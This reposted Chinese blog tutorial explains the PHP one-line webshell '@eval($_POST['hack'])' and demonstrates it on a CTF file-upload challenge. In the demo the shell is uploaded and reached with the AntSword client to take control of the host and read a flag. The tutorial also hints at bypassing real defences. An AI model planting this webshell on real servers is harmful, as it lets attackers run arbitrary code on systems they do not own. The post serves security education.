首页 > 编程语言 >PHP 一句话木马 @eval($_POST[‘hack‘]);作用解释

PHP 一句话木马 @eval($_POST[‘hack‘]);作用解释

时间:2024-04-05 12:56:06浏览次数:14  
标签:文件 eval 木马 hack POST php

简介:@eval()函数的作用是,不将错误爆出来,且将变量中的内容当作php的代码,进行执行,任意代码均可,所有能直接控制主机。

转自:https://blog.csdn.net/BYZY1314/article/details/127792228

一句话木马如下,利用文件上传漏洞,往目标网站上传该木马,即可获取和控制整个网站主机目录

 <?php
 @eval($_POST['hack']);
 ?>

语句解析

@符号

@符号表示后面的语句即使执行错误,也不报错。

eval()函数

eval()函数的作用是把括号内的字符串全部当作php代码来执行。

$_POST['hack']

post方法是html中<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于hack

例如:

<form  action="mm.php"  name="hack"  method="post">

会在php文件中产生一个$_POST[cmd]变量,变量中储存有用户提交的数据。

利用原理

当用户输入phpinfo();

那么$_POST[hack]变量便会变成"phpinfo();"这个字符串

eval()函数配合$_POST变量输入的字符串来执行php语句,就可以达到操作数据库和服务器的效果

靶机演示

我们找一道简单的CTF文件上传题目做一下

可以看到本题目很简单明了,写上了“无限制”,这道题用来演示该木马正好,不用进行隐写和免杀等操作,我们直接上传该木马

上传成功后可以看到页面回显了上传文件的路径

然后我们打开“中国蚁剑”进行连接

连接密码即为传入$_POST['hack'] 内的值“hack”

连接成功后即可看到如下信息

打开该连接,我们看到了整个网站主机的结构和文件,甚至可以进行任意非法增删查改操作,至此可以说该主机已经被我们掌控了

在网站主页同目录下,我们找到了本题的flag文件

打开该文件,即可拿到我们需要的flag

 

以上便是对该木马的简单使用做的一个演示

在实际使用中,我们面对的防御者通常还会对文件类型、大小进行过滤,还会有管理员对木马进行查杀等,所以在实际运用中,我们还得进行更多其他的操作

本篇文章到这里就结束了,如果感兴趣的话可以自行去了解相关的知识

标签:文件,eval,木马,hack,POST,php
From: https://www.cnblogs.com/yeziwinone/p/18115652

相关文章

  • Docker中安装PostgreSQL
    要在Docker中安装PostgreSQL,你可以按照以下步骤操作:首先,确保你已经安装了Docker。如果没有安装,请先安装Docker。使用以下命令在Docker中拉取PostgreSQL镜像:dockerpullpostgres创建并运行PostgreSQL容器:dockerrun--namemy_postgres-ePOSTGRES_PASSWORD=myse......
  • postgresql make check报postgres.lto.o:(.note.stapsdt+0x4ac): undefined reference
    如下:/usr/bin/ld:postgres.lto.o:(.note.stapsdt+0x24):undefinedreferenceto`postgresql_statement__status_semaphore'/usr/bin/ld:postgres.lto.o:(.note.stapsdt+0x74):undefinedreferenceto`postgresql_deadlock__found_semaphore'/usr/bin/ld:p......
  • PHP代码审计——Day 5-postcard
    漏洞解析classMailer{privatefunctionsanitize($email){if(!filter_var($email,FILTER_VALIDATE_EMAIL)){return'';}returnescapeshellarg($email);}publicfunctionsend($data){if(!isset($data['to'])......
  • 接口测试实战(4)--postman断言
    常见断言方法1、状态码断言pm.test:  这是Postman的测试函数,用于定义一个断言。它接受两个参数:第一个参数是一个字符串,用于描述这个测试的目的或内容。这通常是一个简短的描述,比如"Statuscodeis200",它会在测试结果中显示,帮助你快速识别是哪个测试通过了或失败了。第二个......
  • 针对postgresql已经存在数据,对字段进行hash后分表
    PostgreSQL分表方案在实际应用中,我们经常需要对已经存在的数据进行分表处理,以提高查询效率和数据存储的可靠性。本文将介绍如何使用PostgreSQL对已存在的数据进行分表处理。分表方案对于已经存在的数据,我们可以采用hash分表的方案。具体来说,我们可以使用某个字段的hash值......
  • 接口测试实战--postman接口关联
    在使用Postman做接口测试的时候,在多个接口的测试中,如果需要上一个接口的返回值作为下一个接口的入参,其基本思路是:1、获取上一个接口的返回值2、将返回值设置成环境变量或者全局变量3、设置下一个接口的参数形式Tests的作用主要体现在以下几个方面:验证响应结果:Tests是Postma......
  • Postman模拟浏览器网页请求并获取网页数据
      本文介绍在浏览器中,获取网页中的某一个请求信息,并将其导入到Postman软件,并进行API请求测试的方法。  Postman是一款流行的API开发和测试工具,它提供了一个用户友好的界面,用于创建、测试、调试和文档化API。本文就介绍一下这一工具的最基本用法——导入网页请求,并配置相关的H......
  • Eval-Expression.NET: 在运行时计算、编译和执行C代码和表达式。
    https://www.5axxw.com/wiki/content/8ahrg3 在运行时评估、编译和执行动态C代码和表达式从简单的C数学表达式。。。intresult=Eval.Execute<int>("X+Y",new{X=1,Y=2});要解析的复杂代码。intresult=Eval.Execute<int>(@"varlist=newList<int>(){1......
  • tryhackme-Boiler CTF
    信息收集使用nmap对靶机进行信息收集根据扫描开放的端口,先访问21端口进行初步探测并没有得到有用的提示,继续访问80端口进行探测根据页面回显,靶机应该是一个ubuntu的操作系统,可能有隐藏目录,使用gobuster进行目录扫描gobusterdir-uhttp://10.10.229.228/-w/usr/share/......
  • java,postgresql,python中各种数据类型的占位长度,取值范围
    Java数据类型Java中的数据类型分为两类:基本数据类型和引用数据类型。基本数据类型数据类型占位长度取值范围byte1字节-128127short2字节-3276832767int4字节-21474836482147483647long8字节-92233720368547758089223372036854775807float4字节1.4E-453.4028235E38double8字节4.......